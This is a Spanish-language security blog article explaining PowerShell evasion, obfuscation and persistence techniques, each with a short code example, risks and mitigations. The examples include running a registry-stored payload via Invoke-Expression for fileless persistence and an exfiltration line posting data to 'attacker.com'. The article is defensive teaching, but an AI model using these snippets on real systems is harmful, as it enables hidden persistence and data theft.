Hacker La Red OscuraHacker La Red Oscura

PowerShell es una de las herramientas más potentes del ecosistema Windows, ampliamente utilizada tanto por administradores legítimos como por actores maliciosos. Su flexibilidad, capacidad de automatización y acceso profundo al sistema lo convierten en un entorno ideal para tareas administrativas, pero también para técnicas avanzadas de evasión y persistencia.

A continuación se analizan varias técnicas habituales que pueden aparecer en auditorías, pruebas de penetración o ataques reales, así como su funcionamiento y las implicaciones de seguridad que conllevan.

1. Ofuscación mediante variables de entorno

Ejemplo:

$env:PSVariable = 'Get-Process'; Invoke-Expression $env:PSVariable

Esta técnica consiste en almacenar un comando dentro de una variable de entorno y posteriormente ejecutarlo mediante Invoke-Expression. Su finalidad es ofuscar la intención del script y dificultar la revisión manual o automatizada del código.

Riesgos y consideraciones de seguridad

  • La ofuscación puede pasar desapercibida para herramientas de monitorización básicas.
  • Invoke-Expression es especialmente sensible al abuso, ya que ejecuta código dinámico.
  • Los registros de PowerShell pueden revelar la actividad si se tiene habilitado PowerShell Logging (Script Block Logging, Module Logging, etc.).

Mitigación

  • Activar la auditoría avanzada de PowerShell.
  • Bloquear o alertar el uso de Invoke-Expression.
  • Deshabilitar la ejecución de scripts no firmados en entornos críticos.

2. Renombrado de funciones para evasión

Ejemplo:

Function MyGetProc { Get-Process }; MyGetProc

Aquí se redefine una función legítima con un nombre diferente para ocultar su propósito real. Esta técnica pretende disminuir la visibilidad en análisis estáticos o herramientas de detección basadas en patrones.

Riesgos

  • Oculta la llamada real al comando.
  • Puede incorporarse dentro de cargas más complejas para ocultar comportamientos maliciosos.

Mitigación

  • Revisar el contenido de las funciones definidas dinámicamente en scripts.
  • Utilizar soluciones EDR capaces de analizar el comportamiento, no solo el nombre de las funciones.

3. Uso de clases para ocultar código

Ejemplo:

class HiddenCode { [string] Run() { return 'Hidden command executed' } }; 
$instance = [HiddenCode]::new(); 
$instance.Run()

PowerShell permite definir clases, y esta característica puede emplearse para encapsular código que pase más inadvertido que las funciones tradicionales.

Ventajas para un atacante

  • El código malicioso queda oculto dentro de un cuerpo de clase.
  • Reduce la detección por herramientas que solo analizan funciones o comandos explícitos.

Mitigación

  • Monitorizar la creación de clases dinámicas en scripts sospechosos.
  • Aplicar políticas de ejecución que impidan scripts no firmados.

4. Uso del Registro de Windows para persistencia

Ejemplo:

$path = 'HKCU:\Software\MyApp'; 
New-Item -Path $path -Force; 
New-ItemProperty -Path $path -Name 'Config' -Value 'EncodedPayload' -PropertyType String -Force; 
$regValue = Get-ItemProperty -Path $path -Name 'Config'; 
Invoke-Expression $regValue.Config

El Registro de Windows es un lugar habitual para almacenar configuraciones… y también payloads ofuscados. Una vez guardado, el código puede ser ejecutado posteriormente mediante PowerShell.

Riesgos

  • Facilita persistencia sin archivos visibles (fileless).
  • HKCU suele tener menos restricciones que otras ramas del Registro.
  • Difícil de detectar sin auditorías regulares del Registro.

Mitigación

  • Revisar claves sospechosas en rutas como Run, RunOnce y claves personalizadas.
  • Usar herramientas como Autoruns.
  • Bloquear ejecución desde datos obtenidos del Registro salvo casos estrictamente controlados.

5. Exfiltración de datos mediante canales externos

Ejemplo:

$data = Get-Process | ConvertTo-Json; 
Invoke-RestMethod -Uri 'http://attacker.com/data' -Method Post -Body $data

La exfiltración de información mediante peticiones HTTP/HTTPS es una técnica común debido a que el tráfico web suele ser permitido en la mayoría de redes.

Riesgos

  • Puede evadir sistemas básicos de DLP si la comunicación está cifrada.
  • El JSON permite estructurar grandes volúmenes de datos.

Mitigación

  • Inspeccionar tráfico saliente, especialmente POST hacia dominios no autorizados.
  • Implementar proxies con inspección de contenido.
  • Crear listas blancas de destinos permitidos.

6. Acceso a WMI para operaciones discretas

Ejemplo:

$query = 'SELECT * FROM Win32_Process'; 
Get-WmiObject -Query $query

WMI es una interfaz poderosa para consultar y manipular información del sistema. Muchos actores maliciosos la utilizan porque genera menos ruido que comandos directos en PowerShell.

Riesgos

  • Usada habitualmente en ataques “living off the land”.
  • Permite ejecutar consultas, lanzar procesos o acceder a datos del sistema.

Mitigación

  • Habilitar WMI logging.
  • Restringir el acceso WMI a cuentas no privilegiadas.
  • Usar EDR con inspección específica de actividad WMI.

Conclusión

Las técnicas descritas ilustran cómo características legítimas de PowerShell pueden emplearse para ofuscación, persistencia y evasión. Conocer estos métodos es esencial tanto para la defensa de sistemas como para auditorías de seguridad.